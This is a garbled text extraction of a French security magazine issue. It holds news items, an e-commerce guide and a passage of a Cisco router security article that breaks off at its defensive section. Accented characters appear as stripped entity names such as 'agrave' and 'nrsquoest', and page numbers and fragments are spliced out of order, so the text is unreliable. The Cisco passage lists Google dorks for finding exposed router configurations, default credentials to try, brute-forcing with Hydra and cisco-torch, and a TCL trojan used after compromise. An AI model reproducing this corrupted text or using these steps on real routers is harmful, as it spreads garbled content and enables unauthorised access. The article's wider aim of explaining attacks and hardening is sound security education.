propres infrastructures Ce dernier point nrsquoest en aucun cas agrave neacutegliger car nous sommes dans la peacuteriode ougrave lrsquoespionnage industriel est drsquoactualiteacute

Absolute Manage une vraie catastropheIl y a quelques temps un scandale avait eacuteclateacute avec un logiciel drsquoadministration agrave distance sur les ordinateurs drsquoeacutelegraveves en Pennsylvanie lequel permettait de prendre des photos drsquoeacutetudiants agrave leur insu bien que cela nrsquoaurait jamais ducirc ecirctre reacutealiseacute

Des compagnies de seacutecuriteacute ont ainsi analyseacute le logiciel et ont deacutemontreacute qursquoil y avait de nombreux problegravemes de seacutecuriteacute comme deacutechiffrement des communications gracircce agrave une cleacute hardcodeacutee dans le programme et semblable pour tous les clients con-tournement de lrsquoauthentification de lrsquoenvoi de messa-ges

Ouverture de Norton DNS au publicNorton DNS est comme son nom lrsquoindique un servi-ce de DNS public permettant de seacutecuriser tout appareil connecteacute sur la toile

Il comporte une blacklist avec tous les sites ayant une activiteacute plus ou moins accrue avec les malwares phis-

hing permettant ainsi de preacutemunir lrsquousager contre un quelconque risque sur la toile

Degraves lors lorsqursquoun internaute essaie drsquoacceacuteder agrave un site malicieux ce dernier est redirigeacute vers un site drsquoavertissement de Norton en expliquant que le site est bloqueacute par Norton DNS

Je tiens agrave rappeler que son utilisation ne peut ecirctre uti-liseacutee que comme une laquo sur-couche raquo de protection et ne preacutemunise pas contre tous les risques preacutesents sur la toile

Le tabnabbing une nouvelle meacutethode de phishing en vogueCette technique a eacuteteacute expliqueacutee et reacutealiseacutee par Aza Raskin Le principe est de changer le contenu lorsque lrsquoutilisateur a le laquo dos tourneacute raquo ou encore quand il chan-ge drsquoonglet dans son navigateur

Dans la pratique lorsque la page qui a un aspect normal nrsquoest plus consulteacutee elle aura son laquo favicon raquo et son titre modifieacutes pour ressembler au site viseacute Degraves lors lrsquointernaute pensera alors qursquoil a laisseacute ouverte sa messagerie eacutelectronique ou son site de e-commerce ouvert

Il est donc pieacutegeacute et sera pris au jeu du pirate Lrsquoun des correctifs proposeacute par Aza Raskin est que le navigateur doit jouer un rocircle plus important que celui de fureteur basique il doit proteacuteger la confidentialiteacute des donneacutees utilisateur

Metasploitable une vraie reacuteussite pour chacun Tout le monde a tregraves certainement entendu parleacute de Me-tasploit qui est un framework utiliseacute par de nombreuses compagnies afin de reacutealiser des tests drsquointrusion sur des technologies cibleacutees La base de donneacutees drsquoexploits ou-tils en tout genre est colossale et est un outil agrave part entiegravere dans lrsquoaudit de seacutecuriteacute Metasploitable est donc une image Vmware qui nrsquoest autre qursquoune version drsquoUbuntu 804 comportant des services faillibles Le but du jeu est donc de monter lrsquoimage sur son ordinateur et ainsi de srsquoentrainer afin drsquoutiliser le framework Metasploitable

Crsquoest donc un bon entraicircnement pour comprendre le fonctionnement du framework mais aussi avoir une ideacutee de ce qursquoest le pentesting tout en ne nuisant pas aux infrastructures informatiques existantes

Nouvelle version drsquoHydraTout en restant dans les outils drsquoaudit en seacutecuriteacute il ne faut pas oublier la nouvelle version drsquoHydra

Hydra est un cracker de mots de passe supportant de nombreux protocoles tels que VNC POSTGRES IMAP hellip La liste des protocoles geacutereacutes par Hydra est surpre-nante Cet outil a eacuteteacute deacuteveloppeacute par une organisation du nom laquo The Hackerrsquos Choice raquo (THC) et est maintenant passeacute sous licence GPL v3

62010

Dossier

Avantages et inconveacutenients du e-commerceLe E-commerce comporte les mecircmes avantages qursquoin-ternet crsquoest-agrave-dire lrsquoaccegraves agrave un large public la rapi-diteacute drsquoexeacutecution lrsquoaccegraves 24h24 7j7hellip Mais en plus il permet de geacuteneacuterer une activiteacute et des revenus Fa-cile drsquoaccegraves avoir une boutique en ligne permet de deacute-velopper ses ventes avec un investissement maicirctriseacute et sans les droits drsquoentreacutee drsquoune boutique physique Lrsquoheacutebergement consideacutereacute comme le loyer est acces-sible agrave tous sans garantie demandeacutee De nombreu-ses options sont disponibles pour mettre en place son e-commerce payantes ou gratuites Des solutions de paiement en ligne permettent de geacuteneacuterer des ventes sans papier et agrave des coucircts minimes Bref le e-com-merce ressemble agrave une formidable opportuniteacute ouver-te agrave chacun

Cependant si la plus grande qualiteacute du e-commerce est son accessibiliteacute crsquoest aussi ce qui creacutee son plus grand deacutefaut Lrsquoabondance de boutiques en ligne fait drsquointernet le marcheacute le plus concurrentiel Alors que pour une boutique physique le choix de lrsquoemplacement est deacutecideacute une fois pour toutes sur la toile la place de la boutique change en permanence Personne nrsquoa de place assureacutee

Quelques remarques sur les bonnes questions agrave se poser pour le lancement drsquoune boutique en ligne

Avoir bien reacutefleacutechi agrave son offre commerciale une bou-tique en ligne est avant tout un commerce Mecircme si In-

ternet facilite le lancement drsquoune activiteacute il est important drsquoavoir un bon concept commercial et une offre produitservice attractive pour assurer la viabiliteacute du site Lrsquoob-jectif est de transformer en acheteur le visiteur sur votre site Au-delagrave du site en lui-mecircme ce sont les produitsservices les prix les offres qui feront la diffeacuterence

Rendre sa boutique unique parmi les milliers de bou-tiques en ligne lrsquointernaute doit reconnaicirctre votre bou-tique du premier coup drsquoœil Une boutique en ligne est toujours faite sur le mecircme principe de fiche produit liste produit menu Il est donc important de se diffeacuterencier par lrsquoaspect visuel Le graphisme de votre site montrera tout de suite au visiteur dans quelle ambiance etou ty-pe de magasin il se trouve comme pour une boutique physique Un internaute restera plus longtemps et sera plus curieux sur un site qursquoil appreacutecie graphiquement Il y reviendra aussi et il le retiendra Notons quelques freins graphiques sur une boutique comme lrsquoabondance de banniegraveres susceptible de surcharger la page drsquoac-cueil tout comme lexcegraves danimations En outre une page tunnel qui annonce le site avant drsquoy entrer vrai-ment fait parfois son effet agrave la premiegravere visite mais au bout de plusieurs aura tendance agrave lasser lrsquointernaute Toujours dans lrsquoambiance geacuteneacuterale du site la musique risque de freiner le visiteur (manque de discreacutetion re-dondance agrave chaque nouvelle page bouton STOP invi-siblehellip) Tous ces critegraveres deacutependent de votre projet et de lrsquoimage que vous souhaitez veacutehiculer Lrsquoidentiteacute vi-suelle est dans tous les cas un critegravere primordial pour se diffeacuterencier

Boutiques online

Le nombre de boutiques en ligne augmente chaque jour A travers cet article vous allez apprendre comment lancer sa boutique online

Cet article expliquebull avantages et inconveacutenients du E-commercebull comment lancer sa boutique onlinebull solutions e-commerce

Ce quil faut savoirbull Aucune connaissance nest requise

store Factory

Boutiques online

hakin9orgfr 9

deuxiegraveme temps il srsquoagit de suivre vos ventes les produits les plus et les moins vendus etchellip pour affi-ner votre offre Drsquoailleurs rester attentif au prix de la concurrence est essentiel pour rester dans la course sur internet

Les fonctionnaliteacutes le but premier dune boutique en ligne est de permettre aux internautes drsquoacheter vos produits Maintenant dans votre projet il faut deacute-finir tout ce que vous souhaitez proposer sur votre si-te Cela peut concerner lrsquooffre commerciale avec des fonctions de fideacutelisation de recommandation produit entre ami de produits associeacuteshellip Mais aussi des fonc-tionnaliteacutes plus techniques comme proposer une re-cherche avanceacutee de votre produit ou lrsquoaffichage du panier Il nrsquoy a pas de recettes magiques ni de fonc-tionnaliteacutes miracles pour geacuteneacuterer des ventes si ce nrsquoest de bien reacutefleacutechir agrave lrsquoadeacutequation entre votre offre produit et les fonctionnaliteacutes disponibles Par exemple une recherche avanceacutee sera pertinente pour un mar-chand drsquoampoules (en termes de tailles puissances formeshellip) mais pas forceacutement pour une eacutepicerie en ligne ougrave des cateacutegories bien faites seront suffisantes De mecircme qursquoune offre de fideacuteliteacute aura plus de sens sur une boutique de pueacutericulture que pour un concession-naire automobile

Lrsquoabandon du panier un des problegravemes du e-com-merce est la gestion de lrsquoabandon du panier Combien drsquointernautes simulent un achat sur une boutique en ligne mais ne procegravede pas au paiement Pour livrer les clients le commerccedilant a besoin drsquoun certain nom-bre drsquoinformations pour la facture et la livraison Plu-sieurs scheacutemas fonctionnent mais la tendance est de raccourcir les eacutetapes de validation de paiement Geacute-neacuteralement le processus de commande se deacuteroule en 5 eacutetapes validation du panier creacuteation drsquoun compte client entreacutee des informations personnelles entreacutee des informations de livraisons et paiement Ce pro-cessus se reacutepegravete agrave chaque boutique Lrsquointernaute veut que ce soit le plus simple possible De plus plus vite il atteindra la page de paiement moins il aura le loisir de penser agrave abandonner sa commande Agrave lexception de lrsquooptimisation de ce chemin de commande il exis-te des moyens drsquoidentification rapides tels OrangeID ou OpenID qui permettent via un identifiant geacuteneacuteral de remplir par deacutefaut les informations clients Ceci deacute-gage lrsquointernaute de la saisie reacutepeacutetitive de ces infor-mations et il accegravede plus vite au paiement Une autre astuce pour traiter ces abandons de panier est tout simplement de les repeacuterer et de pouvoir leur renvoyer un e-mail de relance agrave partir du moment ougrave le client potentiel a indiqueacute ses coordonneacutees

Les choix de paiement le moyen de paiement est indissociable de la boutique en ligne Derniegravere eacuteta-pe de la commande le commerccedilant propose agrave lrsquoin-ternaute les moyens de paiement qursquoil souhaite De nombreuses solutions de paiement sont accessibles

Le reacutefeacuterencement crsquoest le point primordial pour exister sur internet Creacuteer un site est simple le fai-re connaicirctre beaucoup moins Le reacutefeacuterencement pas-se par plusieurs canaux certains gratuits drsquoautres payants mais le but reste le mecircme ecirctre vu par le maximum drsquointernautes Les outils payants de reacutefeacuteren-cement le plus connu eacutetant Google Adwords permet-tent drsquoapparaicirctre en bonne position plus rapidement mais leurs coucircts sont parfois importants surtout au deacutepart Cela vous permet drsquoecirctre afficheacute dans les liens commerciaux en haut ou sur le cocircteacute des pages de re-cherches sur les expressions que vous avez choisies Le reacutefeacuterencement naturel est au contraire un travail de longue haleine dont le coucirct principal sera le temps que vous passerez agrave optimiser votre site Des contraintes techniques sont dans un premier temps neacutecessaires pour rendre votre boutique en ligne laquo Google friendly raquo comme le code des pages en XHTML le respect des normes internationales W3C la reacuteeacutecriture drsquourl ou en-core la soumission reacuteguliegravere du sitemap agrave lrsquoattention des moteurs de recherche Ensuite tout le travail se situe dans le texte de votre site Les moteurs de re-cherches indexent les sites sur des expressions don-neacutees si elles sont preacutesentes et reacutecurrentes dans le si-te et agrave des endroits importants comme les titres Vous pouvez eacutegalement deacutevelopper un systegraveme de liens entre votre boutique et drsquoautres sites pour renforcer la creacutedibiliteacute de votre boutique toujours pour les mo-teurs de recherche Crsquoest un travail de fourmi qui plus est reacutecurrent puisque la vie drsquoun site est aussi un cri-tegravere pour ameacuteliorer le reacutefeacuterencement Crsquoest la partie la plus difficile drsquoun site de e-commerce car la place drsquoune boutique dans les pages de recherches bouge en permanence Mais avoir un site ne suffit pas agrave geacute-neacuterer des ventes

La navigation lrsquointernaute doit pouvoir naviguer dans votre boutique de maniegravere intuitive et claire De nombreux choix sont agrave faire tels que la place du ou des menus les diffeacuterentes cateacutegories sous-cateacutego-ries si neacutecessaire Le but de la navigation est que lrsquoin-ternaute voit votre offre mais surtout qursquoil puisse ac-ceacuteder sans difficulteacute agrave ce qursquoil cherche Faciliter son chemin eacutevite les risques de sorties intempestives de la boutique

Le suivi du site certaines donneacutees sont essen-tielles pour la viabiliteacute drsquoun site Avec une boutique en ligne hormis les commandes que vous recevez peu drsquoinformations sont accessibles sur le parcours de lrsquointernaute Cependant ces informations sont in-dispensables pour ameacuteliorer votre boutique Il srsquoagit en premier lieu du trafic geacuteneacutereacute en termes de visi-tes mais il est eacutegalement important de connaicirctre les sources de trafic les pages vues le temps passeacute sur le site les pages de sortieshellip Ce sont des indices sur la qualiteacute de votre site qui vous aident agrave ameacuteliorer la reacutetention des internautes sur votre site Dans un

6201010

Dossier

des plus traditionnels comme le chegraveque (avec une politique de processus de commande claire ordre et adresse pour le chegraveque deacutelai de livraison apregraves reacuteception) au plus laquo web raquo comme les solutions de paiement en ligne la plus connue eacutetant PayPal Pour les banques et le paiement par carte bancaire le principe est le mecircme il y a les moyens traditionnels crsquoest-agrave-dire lrsquoagence ougrave le commerccedilant a son compte professionnel et les laquo web raquo qui proposent des so-lutions de paiement exclusivement en ligne comme Ogone ou Moneybookers Le choix des moyens de paiement proposeacutes est une question de coucircts plus ou moins importants selon le moyen et le volume de transaction mais aussi une question dassurance de lrsquointernaute afin qursquoil nrsquoait aucune crainte agrave payer en ligne

Les piegraveges agrave eacuteviterLe principal piegravege agrave eacuteviter est de croire qursquoune fois la boutique construite lrsquoactiviteacute du commerccedilant en ligne est lanceacutee et que des ventes seront geacuteneacutereacutees La creacutea-tion de la boutique nrsquoest que la partie eacutemergeacutee de lrsquoice-berg Une fois la boutique faite il faut la faire connaicirc-tre et la faire vivre Cela passe par la communication (reacutefeacuterencement publiciteacute bouche-agrave-oreille) mais aus-si par la gestion (traiter les commandes les appels clients les reacuteclamations) et la mise agrave jour de la bou-tique (ajouter les nouveaux produits geacuterer les stocks faire des offres commerciales) Une boutique en ligne demande plusieurs heures drsquoinvestissement quotidien Dans un premier temps le plus gros investissement en temps sera mis dans la communication de la bouti-que pour geacuteneacuterer du trafic et attirer des clients poten-tiels Remarquons que ce peut ecirctre aussi un investis-sement financier si le reacutefeacuterencement payant est choisi Une fois la boutique reacuteellement lanceacutee le traitement de commandes et des contacts clients prendra la ma-jeure partie du temps sans pour autant neacutegliger de faire vivre la boutique pour qursquoelle soit toujours connue et attractive

Un autre piegravege agrave eacuteviter est de croire que la creacutea-tion drsquoune boutique en ligne coucircte cher Les offres sont varieacutees et tout deacutepend du projet du commerccedilant Un commerccedilant deacutebutant ou dont la boutique en ligne nrsquoest qursquoun agrave-cocircteacute drsquoune boutique physique srsquoen sortira tregraves bien avec une solution standardiseacutee Si le com-merccedilant veut quelque chose de plus personnaliseacutee le coucirct deacutependra de ses besoins Le projet doit dans un premier temps ecirctre clairement eacutetabli pour choisir la so-lution la plus adapteacutee Il faut donc passer du temps pour construire son projet avant de chercher un pres-tataire pour creacuteer sa boutique Beaucoup de commer-ccedilants cherchent eacutegalement agrave imiter de grands sites reconnus avec des fonctionnaliteacutes avanceacutees comme des offres de fideacuteliteacutes complexes par exemple Ce-pendant pour le lancement drsquoune boutique en ligne

le premier point est de geacuteneacuterer des ventes Il ne faut pas brucircler les eacutetapes Avant de penser agrave fideacuteliser les clients ou avoir un site high-tech il faut que celui-ci soit viable

Les solutions e-commercesPlusieurs possibiliteacutes sont disponibles pour monter son e-commerce des plus standard aux plus personnalisa-bles des plus accessibles aux plus chegraveres

bull Les solutions Open Source ce sont des briques lo-giciels toutes faites disponibles gratuitement sur la toile Cependant il faut srsquoy connaicirctre un minimum en informatique pour dans un premier temps im-pleacutementer la boutique puis lrsquoameacuteliorer ajouter des briques fonctionnelles comme le paiement en ligne De plus si cette solution est en apparence gratuite vous aurez besoin au minimum drsquoun heacutebergement et drsquoun nom de domaine ce qui geacutenegraverera des coucircts variables Crsquoest donc une solution pour les informa-ticiens deacutejagrave aguerris qui deacutesirent mettre les mains dans le cambouis

bull Les logiciels payants moyennant un coucirct fixe drsquoachat ces logiciels vous permettent drsquoavoir une boutique en ligne rapidement Il vous faudra neacuteanmoins vous acquitter des coucircts drsquoheacuteberge-ment et de nom de domaine en suppleacutements Ces logiciels ont lrsquoavantage de vous fournir une inter-face plus ludique pour la gestion de votre bouti-que en ligne Pour les novices quelques explica-tions seront neacutecessaires au deacutemarrage mais crsquoest une solution qui permet drsquoavoir sa boutique sans trop besoin de connaissances techniques Les in-conveacutenients sont geacuteneacuteralement le coucirct drsquoachat de la licence assez eacuteleveacutee et lrsquoeacutevolution du lo-giciel quasi nulle ou moyennant lrsquoachat de mises agrave jour Votre boutique dispose drsquoun certain nom-bre de fonctionnaliteacutes au moment de lrsquoachat et el-les ne varieront pas au cours de la vie votre site Pourtant Internet apporte tous les jours des nou-veauteacutes en termes techniques mais aussi drsquousa-ge Cette solution peut donc ecirctre limiteacutee dans le temps

bull La solution faite par un ami souvent de futurs commerccedilants en ligne disent qursquoils demanderont agrave un ami informaticien de creacuteer leur boutique Sans tenir compte des difficulteacutes possibles de travailler avec des proches le e-commerce est un meacutetier agrave part entiegravere avec ses speacutecificiteacutes techniques Il srsquoagit de mettre en place plusieurs briques fonc-tionnelles comme par exemple le paiement en li-gne ce qui peut srsquoaveacuterer compliquer pour quel-qursquoun drsquoexteacuterieur au e-commerce Cette solution peut-ecirctre gratuite risque drsquoecirctre longue et hasar-deuse agrave moins drsquoavoir lrsquoami qui a deacutejagrave creacuteeacute des boutiques en ligne

hakin9orgfr 11

bull Les webagency certaines vous deacuteveloppent une boutique en ligne de A agrave Z selon vos exigences drsquoautres travaillent avec des prestataires techniques ou des logiciels payants auxquels ils sont habitueacutes Les webagency proposent souvent une prestation de boutique en ligne personnaliseacutee sur devis dont les coucircts sont eacuteleveacutes et variables selon votre projet Elles ajoutent eacutegalement des prestations annexes comme la creacuteation drsquoun design et dune animation ou la gestion des contenus du site Crsquoest donc une solution sur mesure qui peut convenir agrave ceux qui en ont les moyens

bull Les logiciels en mode locatifs ce sont des solu-tions payantes mais souvent plus accessibles que lrsquoachat de logiciel ou les webagency Cependant la grosse diffeacuterence avec toutes les autres solutions est que le commerccedilant nrsquoest pas proprieacutetaire de la solution technique de la boutique en ligne Cette solution est neacuteanmoins un systegraveme accessible et rapide pour lancer sa boutique en ligne De nom-breux acteurs sont preacutesents sur le marcheacute avec un panel drsquooffres tregraves varieacutees en termes de prix et de fonctionnaliteacutes Tout deacutepend du projet du commer-ccedilant crsquoest agrave lui de choisir sa formule Les bouti-ques sont standardiseacutees drsquoun point de vue techni-que avec en geacuteneacuteral un back-office drsquoadministra-tion ludique pour que le commerccedilant gegravere seul sa boutique et une assistance technique Lrsquoheacuteberge-ment est inclus dans les packs Des prestations de design suppleacutementaires permettent de personnali-ser la boutique en ligne Le mode locatif preacutesente lrsquoavantage de beacuteneacuteficier drsquoun suivi dans le temps sur le plan technique que ce soit dans la vie de la boutique mais aussi en fournissant des mises agrave jour reacuteguliegraveres

ConclusionLrsquooffre de solutions pour creacuteer sa boutique en ligne est large et varieacutee Creacuteer son site de e-commerce nrsquoest plus un problegraveme en soi Cependant avoir une boutique ne suffit pas pour exister sur la toile Le commerccedilant doit y consacrer du temps la faire connaicirctre et la faire vi-vre Crsquoest aujourdrsquohui le plus grand deacutefi de tout nouveau commerccedilant en ligne Il faut savoir se deacutemarquer de la masse de sites sur internet

A propos De LrsquoAuteurStore-Factory propose une offre professionnelle complegravete si-te professionnel outils drsquoadministration complets et eacutevolutifs reacutefeacuterencement optimiseacute outils marketing formation et sup-port teacuteleacutephonique illimiteacute Les sites Store-Factory beacuteneacuteficient drsquoune charte graphique creacuteeacutee sur mesure

6201012

Pratique

Les routeurs et commutateurs sont disponibles en diffeacuterentes tailles allant des petites boicirctes de bu-reau aux grands routeurs dopeacuterateur occupant

un rack complet de 19 poucesCisco diffeacuterencie quatre types de trafic le Data Plane

le Control Plane le Management Plane et le Service Plane

Le Data Plane est tout simplement le trafic client agrave transporter par exemple du trafic geacuteneacutereacute par les ser-veurs et les postes de bureautique

Le Control Plane est le trafic neacutecessaire pour creacuteer et maintenir les renseignements sur leacutetat du reacuteseau com-me les annonces BGP et OSPF

Le Management Plane est le trafic utiliseacute pour acceacute-der geacuterer et surveiller les plates-formes agrave limage du SSH et SNMP

Le Service Plane fait reacutefeacuterence aux diffeacuterents services proposeacutes pour les plates-formes par exemple des tun-nels VPN la translation dadresses ou les systegravemes de deacutetection dintrusions

Cette diffeacuterentiation entre les diffeacuterents types de tra-fic est neacutecessaire pour comprendre leffet de ces types de trafic sur la plate-forme Les routeurs ou commu-tateurs Cisco traitent la grande majoriteacute des flux de transport dans des modules hardware deacutedieacutes sauf quelques paquets qui ont besoin de traitement speacutecial comme les paquets avec un TTL (Time To Live) infeacute-rieur ou eacutegal agrave un ou les paquets IP avec options

Une plate-forme Cisco est geacuteneacuteralement composeacutee des eacuteleacutements suivants

bull RAM (Random-Access Memory) utiliseacute pour stoc-ker des informations opeacuterationnelles comme les ta-bles de routage le fichier de configuration en cours dexeacutecution Son contenu est perdu si la machine est eacuteteinte ou redeacutemarreacutee

bull NVRAM (NonVolatile RAM) utiliseacute pour enregis-trer le fichier de configuration de deacutemarrage Son contenu nest pas perdu si la machine est eacuteteinte ou redeacutemarreacutee

bull Flash Contient limage du systegraveme dexploitationbull CPUbull ROM (Read Only Memory) utiliseacute pour enregistrer

le programme de deacutemarrage le systegraveme dexploita-tion et les programmes de test

bull Registres de configuration utiliseacute pour changer le comportement du routeur (deacutemarrer agrave partir du ROM ou NetBoot deacutefinir les options de deacutemarrage deacutefinir la vitesse de la console )

bull Interfaces

La compreacutehension de larchitecture hardware sert agrave deacuteterminer les types de paquets susceptibles de per-mettre une compromission de la machine ou de causer un deacuteni de service il est par exemple possible quune vulneacuterabiliteacute ne cause pas le crash de toute la machi-

Seacutecuriteacute CiSCOCisco propose une varieacuteteacute tregraves importante de produits et plates-formes elle est principalement connue pour ses routeurs et commutateurs tregraves performants Le nombre de services utiliseacutes et protocoles impleacutementeacutes peut transformer la plate-forme en cible facile Cisco propose cependant plusieurs meacutecanismes de durcissement Cet article se consacre aux principaux vecteurs dattaques contre ces plates-formes et propose les meacutecanismes les plus communs pour les seacutecuriser

Cet article expliquebull Architecture Hardware et Software des routeurs et commuta-

teurs CISCObull Vecteurs dattaques contre les routeurs et commutateurs CI-

SCObull Meacutecanismes de deacutefense et preacutevention existants sur lIOS CI-

SCO

Ce quil faut savoirbull Connaissance de base en CLI CISCObull Connaissance de base sur le routage et les protocoles mana-

gement (SSH SNMP )

alaeddine Mesbahi

Seacutecuriteacute CiSCO

hakin9orgfr 13

utiliseacute lIOS utilise massivement de la meacutemoire parta-geacutee accessible par tous les processeurs

La meacutemoire est subdiviseacutee en reacutegion aux fonctionne-ments diffeacuterents

bull Itext Code exeacutecutable du systegraveme dexploitation bull IData Variables initialiseacutees bull Local Structure de meacutemoire standard locale bull IBss Donneacutee non initialiseacutee bull Flash Stockage de limage de lOS bull PCI Meacutemoire visible sur le bus PCI bull IOMEM Meacutemoire partageacutee visible au CPU princi-

pal et aux interfaces de controcircle reacuteseau

approche offensiveDynamips est un outil open-source capable deacutemuler un routeur Cisco agrave partir dun veacuteritable IOS Lavantage dutiliser un outil deacutemulation et non de simulation est de reproduire le vrai fonctionnement dun routeur ou drsquoun commutateur Cisco (cf Lisitng 1)

Il est cependant agrave noter que Dynamips a des limita-tions car incapable deacutemuler des fonctionnaliteacutes comme le spanning tree ou le DTP (Dynamic Trunk Protocol)

ne mais uniquement des modules dacceacuteleacuteration hard-ware

De plus deacuteterminer les types de paquets consom-mateurs de ressources (TTL=0 paquets avec options hellip) permet de cibler les attaques de deacuteni de service et daugmenter leur efficaciteacute

architecture SoftwareLIOS Cisco est un systegraveme dexploitation monolithique cest-agrave-dire que lensemble des fonctions et des pilotes sont regroupeacutes dans un seul bloc binaire agrave la compi-lation Derniegraverement Cisco a proposeacute des IOS modu-laires mais la majoriteacute des OS Cisco restent monolithi-ques

Il existe environ 20000 versions de lIOS Cisco point important agrave savoir pour le travail sur lexploitation dune machine car les adresses de retour les fonctionnaliteacutes et le code diffegraverent dune version agrave lautre

Larchitecture du systegraveme dexploitation est tregraves sim-ple elle est composeacutee du Kernel du code des peacuteripheacute-riques dont le code responsable de la commutation ra-pide et finalement des processeurs

Aucun meacutecanisme de protection de la meacutemoire nest

Listing 1 Emulation dun routeur Cisco

dynamips-027-x86bin -t npe-400 -p 1PA-A1 -p 2PA-4E -p 3PA-8E c7200-jk9s-mz124-18cbin

Cisco Router Simulation Platform (version 027-x86)

Copyright (c) 2005-2007 Christophe Fillot

Build date May 26 2007 115128

IOS image file c7200-jk9s-mz124-18cbin

CPU0 carved JIT exec zone of 64 Mb into 2048 pages of 32 Kb

NVRAM is empty setting config register to 0x2142

C7200 instance default (id 0)

VM Status 0

RAM size 256 Mb

IOMEM size 0 Mb

NVRAM size 128 Kb

NPE model npe-400

Midplane vxr

IOS image c7200-jk9s-mz124-18cbin

Loading ELF file c7200-jk9s-mz124-18cbin

ELF entry point 0x80008000

C7200 default starting simulation (CPU0 PC=0xffffffffbfc00000) JIT enabled

ROMMON emulation microcode

Launching IOS image at 0x80008000

Self decompressing the image

[OK]

6201014

Pratique

Dynamips marche aussi bien sur Windows que sur Linux ou Unix il a besoin dune version de lIOS Cisco

Dynamips a eacuteteacute compleacuteteacute par dautres outils (Dyan-gen et GNS3) qui facilitent linterconnexion de plusieurs routeurs virtuels et permettent de simuler plus facile-ment tout un reacuteseau sur une seule machine

Leacutemulation dun routeur est un excellent moyen pour se familiariser avec la ligne de commande Cisco et les diffeacuterents services quils proposent

Pour des besoins de debugging et pour mieux com-prendre le fonctionnement des processeurs et du Ker-nel lIOS Cisco supporte le protocole GDB de debug-ging et ce agrave travers une connexion agrave linterface seacuterie GDB existe aussi sur TCP malheureusement Cisco ne le supporte pas

Limpleacutementation du protocole est leacutegegraverement diffeacute-rente de la version GNU Vous pouvez cependant utili-ser loutil BinNavi de Zynamics supportant diverses im-pleacutementations de GDB

Pour activer le protocole GDB utilisez la comman-de gdb kernel et lancez votre outil de debugging en seacuterie

Deacutecouverte et eacutenumeacuterationCette partie sinteacuteresse aux techniques de deacutecouverte et deacutenumeacuteration propre au monde des routeurs et du routage les techniques de deacutecouverte active avec des outils comme nmap sont assez connus et ont deacutejagrave eacuteteacute abordeacutees dans dautres articles

Larticle se focalisera sur le googleHacking sur leacutenu-meacuteration BGP et AS et sur lextraction dinformations agrave partir des protocoles de routage utiliseacutes

Googlehacking cette technique efficace pour collec-ter des informations et trouver des plates-formes vulneacute-rables sappuie sur une bonne connaissance des opeacute-rateurs Google (voir Table 1)

Le tableau est une liste reacuteduite des principaux opeacutera-teurs il est eacutegalement possible dutiliser des fonction-naliteacutes de recherches avanceacutees en manipulant lURI de google

Le grand inconveacutenient de cette technique est le nom-bre de fausses alertes il est donc important de sarmer

de patience et dessayer petit agrave petit dameacuteliorer leffica-citeacute des mots rechercheacutes

Le principe pour trouver des fichiers de configuration est assez simple rechercher des commandes utiliseacutes dans un fichier de configuration des extensions don-neacutees aux fichiers de configuration (cfg conf log txt) et des mots cleacutes en relation dans lURI (-cfg cisco conf )

Voici une liste non exhaustive des diffeacuterentes expres-sions que vous pouvez utiliser pour trouver des fichiers de configuration vous pouvez vous en inspirer pour trouver dautres expressions plus efficaces (cf Listing 2)

Cette technique tregraves simple permet aux script-kid-dies de trouver des cibles faciles Cependant la majo-riteacute des fichiers de configuration trouvables sur google restent inexploitables (utilisation dadressages priveacutes RFC1918 proteacutegeacutes par des pare-feux ou tregraves anciens et plus utiliseacutes)

Routage collecter des informations sur le routage dune organisation permet de mieux comprendre son in-frastructure reacuteseau ses points dinterconnexions et sa reacutesilience contre les attaques de deacuteni de service

Les informations sur le peering et le routage BGP sont facilement disponibles sur des sites comme rob-tex nous pouvons en deacuteduire les opeacuterateurs dune en-treprise les scopes IP alloueacutes et la distribution de trafic par lien

Les registres de routages et les looking glass sont aussi des sources preacutecieuses dinformations elles per-mettent de mener des tests de ping et traceroute afin de deacutetecter deacuteventuelles regravegles de filtrage et donnent une meilleure cartographie du reacuteseau

Des outils comme ASS et Polyphemus permettent de collecter des informations sur les protocoles internes de routage (OSPF RIP hellip) et didentifier les protocoles uti-liseacutes et le niveau de seacutecuriteacute appliqueacute (cf Listing 3)

exploitation et maintien daccegravesLa meacutethode la plus simple et la plus directe pour ex-ploiter nimporte quelle plate-forme consiste agrave trouver des services de gestion exemple du Telnet ou SSH

table 1 Liste opeacuterateurs Google

Opeacuterateur Description Exemplesite Appliquer la recherche sur le site indiqueacute

seulementURPF sitewwwciscocom

filetype Chercher les fichiers du type indiqueacute Google search cheat sheet filetypepdf

inurl LURL contient le mot rechercheacute laquoCisco confraquo inurlforum

related Lister les sites web similaires Relatedwwwsecurityfocuscom

intext Le site contient les mots rechercheacutes Intextlaquoenable password 7raquo

cache Acceacuteder agrave la version en cache sur les se-rveurs google

cachewwwsecurity-databasecom

intitle Chercher dans les titres des pages web intitleindexof ios parent directory bin

Seacutecuriteacute CiSCO

hakin9orgfr 15

et de lancer des attaques de brute force par diction-naire

Pour essayer de compromettre les mots de passe dune machine privileacutegiez les mots de passe par deacute-faut et les comptes triviaux ciscocisco adminadmin testtest

Vous serez eacutetonneacute de voir combien ces mots de passe sont utiliseacutes vous pouvez dailleurs vous en rendre compte en deacutechiffrant les mots de passe des fichiers de configuration trouvables avec le google-hacking

Hydra et cisco-torch peuvent servir pour avoir ac-cegraves agrave la machine en brute forccedilant les protocoles suivant telnet ssh web et snmp Lrsquooutil enabler permet de brute forcer laccegraves aux privilegraveges plus eacuteleveacutes

Ce type dattaque est tregraves bruyant nimporte quel outil de correacutelation de log est capable de le deacutetecter

Pour compromettre un routeur ou un commutateur Cisco il est possible dexploiter une vulneacuterabiliteacute dun des services activeacutes lIOS Cisco reste difficile agrave exploi-ter et la grande majoriteacute des vulneacuterabiliteacutes ne causent que des deacutenis de service

OSVDB CVE et SecuriyVulnentrabilitynet reacutefeacuteren-cent un tregraves grand nombre de vulneacuterabiliteacutes publieacutees et renvoient vers des codes dexploitation (packetstorm exploit-db)

Cette meacutethode digne dun script-kiddie est rare-ment efficace contre les systegravemes dexploitation Cisco car comme indiqueacute preacuteceacutedemment le grand

nombre de versions dOS rend difficile la reacutedaction de code dexploitation fonctionnat sur toutes les ver-sions

Apregraves compromission de la machine il est possible dutiliser un script TCL pour creacuteer un trojan sur la plate-forme

Voici un exemple dun trojan TCL sur le routeur (cf Listing 4)

Ce script eacutecoute sur le port 1234 vous pouvez le mo-difier en changeant la commande set port 1234 par le port que vous voulez utiliser

approche deacutefensiveDeacutesactivation des services inutiliseacutes le durcisse-ment du Management Plane commence par la deacutesac-tivation de tous les services inutiliseacutes qui sont parfois vulneacuterables ou grand consommateurs de ressources donc vecteurs dattaques de deacutenis de service (cf Lis-ting 7)

Voici une liste assez complegravete des principaux servi-ces agrave deacutesactiver

